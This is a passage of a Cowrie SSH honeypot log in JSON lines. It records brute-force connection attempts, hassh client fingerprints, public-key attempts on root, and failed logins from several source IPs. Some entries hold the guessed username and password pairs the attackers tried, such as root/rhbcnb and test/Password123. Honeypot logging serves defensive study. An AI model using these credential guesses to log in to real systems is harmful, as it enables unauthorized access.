f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:30.954770Z","src_ip":"89.190.156.8","session":"bc13e31cb5cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:31.335290Z","src_ip":"89.190.156.8","session":"bc13e31cb5cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:31.803184Z","src_ip":"37.233.85.71","session":"5e12a2dd459c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:32.426569Z","src_ip":"89.190.156.8","session":"bc13e31cb5cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.0.104.39","src_port":46202,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1d136cafc59","protocol":"ssh","message":"New connection: 128.0.104.39:46202 (10.17.0.5:22) [session: b1d136cafc59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:39.720764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:39.726135Z","src_ip":"128.0.104.39","session":"b1d136cafc59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:39.872011Z","src_ip":"128.0.104.39","session":"b1d136cafc59","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ca:54:a6:dc:b2:c7:1c:89:fa:ca:7b:5d:0e:1f:36:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEthQgXxlKU5W4egMGI30kY2wVX+X++42MX+EU9XGD4FClyzL+uu2XrYyK4azMZ03RVytY0pJPK/S6ZFjjq6aZvefnwgOQtuH3FEAS6ZTkR1D5pmQ1ErgKdmWU/W+UyUJ9YpKAvxMKjxlPMKJINjWvTyp9d7I0Co2o2Oi2qWex4+K6sQQ4SDhC2ggmJW2EFelcESO/LwcOQZymfSMljcNO+KQ5DQMzkkqip8UNBpDkN/XcBmPnlhucFp9Ut6UsWD+SdNg6ZMQpX/fIUJ4MV2GAgxb+jPScLpp0KKVT8SP5mAci/eJcXkyRiMia8ZDW64BcVQ3EEkynqlWtHWPrHvif","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ca:54:a6:dc:b2:c7:1c:89:fa:ca:7b:5d:0e:1f:36:51","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:40.552372Z","src_ip":"128.0.104.39","session":"b1d136cafc59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ca:54:a6:dc:b2:c7:1c:89:fa:ca:7b:5d:0e:1f:36:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEthQgXxlKU5W4egMGI30kY2wVX+X++42MX+EU9XGD4FClyzL+uu2XrYyK4azMZ03RVytY0pJPK/S6ZFjjq6aZvefnwgOQtuH3FEAS6ZTkR1D5pmQ1ErgKdmWU/W+UyUJ9YpKAvxMKjxlPMKJINjWvTyp9d7I0Co2o2Oi2qWex4+K6sQQ4SDhC2ggmJW2EFelcESO/LwcOQZymfSMljcNO+KQ5DQMzkkqip8UNBpDkN/XcBmPnlhucFp9Ut6UsWD+SdNg6ZMQpX/fIUJ4MV2GAgxb+jPScLpp0KKVT8SP5mAci/eJcXkyRiMia8ZDW64BcVQ3EEkynqlWtHWPrHvif","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:40.556578Z","src_ip":"128.0.104.39","session":"b1d136cafc59","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e0:c0:4b:eb:37:1c:51:8e:27:5e:6e:c7:d0:87:77:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyR9k9240veraJY+8/J/d6KF+Eysh39RrONSC5XENZxLxuBuwPGeDzCaZgy0yEQs4bFrO7xJJ5QQt7Jx9ZYBpLXNOS3hJIpM+68pGzUinCNSL2XzNt+GjGCtP4wE2Npp907opN2977KWygkRCoPoeF11ltpCgn/11VGLxnpMfbnDsEj1SM3nQDRXmsZjDkiRuJz6InMIgd4HjovG1AXmMScakmL8Qfluf56ECf0RoIWu2z9Uc5Ixi+gur6wGrr/6wdPb1wwCLfnsgt9zjWLxb/LKAOKE6vRbp4ttfEE8JFOY/kUSDjVgsp8syP7w6PZYpHEue28/V/CrVymqtYGLTB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e0:c0:4b:eb:37:1c:51:8e:27:5e:6e:c7:d0:87:77:66","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:40.701906Z","src_ip":"128.0.104.39","session":"b1d136cafc59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e0:c0:4b:eb:37:1c:51:8e:27:5e:6e:c7:d0:87:77:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyR9k9240veraJY+8/J/d6KF+Eysh39RrONSC5XENZxLxuBuwPGeDzCaZgy0yEQs4bFrO7xJJ5QQt7Jx9ZYBpLXNOS3hJIpM+68pGzUinCNSL2XzNt+GjGCtP4wE2Npp907opN2977KWygkRCoPoeF11ltpCgn/11VGLxnpMfbnDsEj1SM3nQDRXmsZjDkiRuJz6InMIgd4HjovG1AXmMScakmL8Qfluf56ECf0RoIWu2z9Uc5Ixi+gur6wGrr/6wdPb1wwCLfnsgt9zjWLxb/LKAOKE6vRbp4ttfEE8JFOY/kUSDjVgsp8syP7w6PZYpHEue28/V/CrVymqtYGLTB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:40.706254Z","src_ip":"128.0.104.39","session":"b1d136cafc59","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"55:00:92:9c:02:19:05:b5:46:39:37:40:0f:07:5d:6f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDO1wC47YWrpg+jwAl0QP5oMXU/IxuQh8iFv6WEGQvwfuvkxowXJLSyDbsZkgIGyl0NOlSJiZJRb97RJnXQW6gUqfFkHK9QLN6/YcUow456QUuRW5XwviQlKaKlR4zuoUut25hjImH0jUTp7zmNxPcx0MB9qW0FWuWSYxsg6mS4EbgXY0wgZpDMkSlM2+fzQ+5f98+H9cKKB8Tyv2PltgPAbNOF/+AGFLauLqFctlqRkGnI/Ixun5qyaITtPWJI1oyzZWp9Oi3T7K3c5/4HULY7TwsztBgK5CYxVzFbcusABLhkw8KNVz2TvWKaiaH273bEbGAC7PXxr208wWP0Fl4r","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 55:00:92:9c:02:19:05:b5:46:39:37:40:0f:07:5d:6f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:40.848075Z","src_ip":"128.0.104.39","session":"b1d136cafc59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"55:00:92:9c:02:19:05:b5:46:39:37:40:0f:07:5d:6f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDO1wC47YWrpg+jwAl0QP5oMXU/IxuQh8iFv6WEGQvwfuvkxowXJLSyDbsZkgIGyl0NOlSJiZJRb97RJnXQW6gUqfFkHK9QLN6/YcUow456QUuRW5XwviQlKaKlR4zuoUut25hjImH0jUTp7zmNxPcx0MB9qW0FWuWSYxsg6mS4EbgXY0wgZpDMkSlM2+fzQ+5f98+H9cKKB8Tyv2PltgPAbNOF/+AGFLauLqFctlqRkGnI/Ixun5qyaITtPWJI1oyzZWp9Oi3T7K3c5/4HULY7TwsztBgK5CYxVzFbcusABLhkw8KNVz2TvWKaiaH273bEbGAC7PXxr208wWP0Fl4r","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:40.852577Z","src_ip":"128.0.104.39","session":"b1d136cafc59","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e2:49:3c:3c:af:85:4b:c9:1e:2e:e0:45:2a:f7:6a:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoRPFNKEJNbiJn3n9JUwWEdJ/RodKTLt/TS5INMl03CJxbPc9MVXGHw3Y8Kyj4mZZClBAAgE5rFliMSHvD/+ylRrvLnzgD5VfZspbWbvndDQAdsS8brce/H5Yx7IaaJpPcGj3AuiZ6cvC5Crj6WT5B0KhHRTDRijGoMp2shN35vh73Ytnx+TTt8iNZWBRJIHHm0Fz4W6BwkgiUqmRzJMI6FJhsjUeMWStqixf7m3+GVlDBHOdi7qgenZAqzpInssfO88Zqe2i6Q9KKozB3VGdP5BlLASlY5plHBYc5YNbBP3lCweBKVPzhue1gvmtGq9byvkxaPN5dljO0idtyf8Mt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e2:49:3c:3c:af:85:4b:c9:1e:2e:e0:45:2a:f7:6a:e8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:40.993627Z","src_ip":"128.0.104.39","session":"b1d136cafc59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e2:49:3c:3c:af:85:4b:c9:1e:2e:e0:45:2a:f7:6a:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoRPFNKEJNbiJn3n9JUwWEdJ/RodKTLt/TS5INMl03CJxbPc9MVXGHw3Y8Kyj4mZZClBAAgE5rFliMSHvD/+ylRrvLnzgD5VfZspbWbvndDQAdsS8brce/H5Yx7IaaJpPcGj3AuiZ6cvC5Crj6WT5B0KhHRTDRijGoMp2shN35vh73Ytnx+TTt8iNZWBRJIHHm0Fz4W6BwkgiUqmRzJMI6FJhsjUeMWStqixf7m3+GVlDBHOdi7qgenZAqzpInssfO88Zqe2i6Q9KKozB3VGdP5BlLASlY5plHBYc5YNbBP3lCweBKVPzhue1gvmtGq9byvkxaPN5dljO0idtyf8Mt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:40.998016Z","src_ip":"128.0.104.39","session":"b1d136cafc59","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"47:09:76:6e:35:a1:91:8e:d0:d2:b5:a7:8d:58:4b:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCo2vlD/DqLOQbhTKLUThGNN5nLlmhHS8xEcJiVv1CP/F7zwGmaVL5DnLfy0vRXxRJA6SKvTNqFVghceb8Hhv5yOih5hBvCpHeE07uQjPJqN/FMaIgZvv4Iy4BdmRdnta/y10bzz3DQyEQx1zgvT+W3J2WgbIv69LaImsrhYUbDA6+5LZXEbF91IAE1rqzAI7xPddhJ09l+npoMmHV/7JjXtSsxHLG68Jgc5g74a8PjgBdeXwRt34SSny0OB427O+kC1Xo5nF33pu5k3DSlRrvVCVCuzKiGVZpQzPn2x7LuuFR+HgXtRtSrIpN64YcXHUCfo7p3OR8frvXA/FPyBkD8rgymNZQaGzY9Hc/2JUP4wJWTUA6KUo10djPDiozoctmgxqEdn3oS1vVCgouyVWVeUL65qEe5up9ZFc3Lpx1HoJZgZzEWOIAM+kMBo+aP6P8N1zOZPmbS9Aq4eKszFxyXPP+RRc2961yTSD92UKuGl5/Tqff96NqQD/oBZft7jTOLafhlBq3VpY712UfvjyM7yj/WmNvbuIXWd4blK1B6HDAffJxwnvwIkqaq3aCuNKeLE95KY7vH2aI2s46nkNahmkAU+9qCMu754eFBHujMsailma6EialXKoZang/a/FoOsZ6hQgzAEhhotWYyoE5CiCwuzf0HlpDbtwUbKUUEAQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 47:09:76:6e:35:a1:91:8e:d0:d2:b5:a7:8d:58:4b:9e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:41.141588Z","src_ip":"128.0.104.39","session":"b1d136cafc59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"47:09:76:6e:35:a1:91:8e:d0:d2:b5:a7:8d:58:4b:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCo2vlD/DqLOQbhTKLUThGNN5nLlmhHS8xEcJiVv1CP/F7zwGmaVL5DnLfy0vRXxRJA6SKvTNqFVghceb8Hhv5yOih5hBvCpHeE07uQjPJqN/FMaIgZvv4Iy4BdmRdnta/y10bzz3DQyEQx1zgvT+W3J2WgbIv69LaImsrhYUbDA6+5LZXEbF91IAE1rqzAI7xPddhJ09l+npoMmHV/7JjXtSsxHLG68Jgc5g74a8PjgBdeXwRt34SSny0OB427O+kC1Xo5nF33pu5k3DSlRrvVCVCuzKiGVZpQzPn2x7LuuFR+HgXtRtSrIpN64YcXHUCfo7p3OR8frvXA/FPyBkD8rgymNZQaGzY9Hc/2JUP4wJWTUA6KUo10djPDiozoctmgxqEdn3oS1vVCgouyVWVeUL65qEe5up9ZFc3Lpx1HoJZgZzEWOIAM+kMBo+aP6P8N1zOZPmbS9Aq4eKszFxyXPP+RRc2961yTSD92UKuGl5/Tqff96NqQD/oBZft7jTOLafhlBq3VpY712UfvjyM7yj/WmNvbuIXWd4blK1B6HDAffJxwnvwIkqaq3aCuNKeLE95KY7vH2aI2s46nkNahmkAU+9qCMu754eFBHujMsailma6EialXKoZang/a/FoOsZ6hQgzAEhhotWYyoE5CiCwuzf0HlpDbtwUbKUUEAQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:41.146236Z","src_ip":"128.0.104.39","session":"b1d136cafc59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:41.292247Z","src_ip":"128.0.104.39","session":"b1d136cafc59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.246.14.196","src_port":39362,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c575e27ce14","protocol":"ssh","message":"New connection: 186.246.14.196:39362 (159.203.135.109:22) [session: 5c575e27ce14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:44.914928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:44.924684Z","src_ip":"186.246.14.196","session":"5c575e27ce14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:45.094068Z","src_ip":"186.246.14.196","session":"5c575e27ce14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mdepaula","password":"mdepaula","message":"login attempt [mdepaula/mdepaula] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:45.801025Z","src_ip":"186.246.14.196","session":"5c575e27ce14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:46.973367Z","src_ip":"186.246.14.196","session":"5c575e27ce14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":50524,"dst_ip":"159.203.135.109","dst_port":22,"session":"73c6d64fbbeb","protocol":"ssh","message":"New connection: 147.45.211.215:50524 (159.203.135.109:22) [session: 73c6d64fbbeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:52.684087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:52.689688Z","src_ip":"147.45.211.215","session":"73c6d64fbbeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:52.869525Z","src_ip":"147.45.211.215","session":"73c6d64fbbeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rhbcnb","message":"login attempt [root/rhbcnb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:53.407470Z","src_ip":"147.45.211.215","session":"73c6d64fbbeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:54.589306Z","src_ip":"147.45.211.215","session":"73c6d64fbbeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.118.22","src_port":49204,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0d5873dffa7","protocol":"ssh","message":"New connection: 186.233.118.22:49204 (159.203.135.109:22) [session: a0d5873dffa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:54.795979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:54.806268Z","src_ip":"186.233.118.22","session":"a0d5873dffa7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:54.925671Z","src_ip":"186.233.118.22","session":"a0d5873dffa7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"Password123","message":"login attempt [test/Password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:55.431850Z","src_ip":"186.233.118.22","session":"a0d5873dffa7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:20:56.553799Z","src_ip":"186.233.118.22","session":"a0d5873dffa7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.243.191.141","src_port":8310,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5c8de2f9cdc","protocol":"ssh","message":"New connection: 180.243.191.141:8310 (10.17.0.5:22) [session: f5c8de2f9cdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:21:05.172749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:21:06.374764Z","src_ip":"180.243.191.141","session":"f5c8de2f9cdc","protocol":"ssh"}
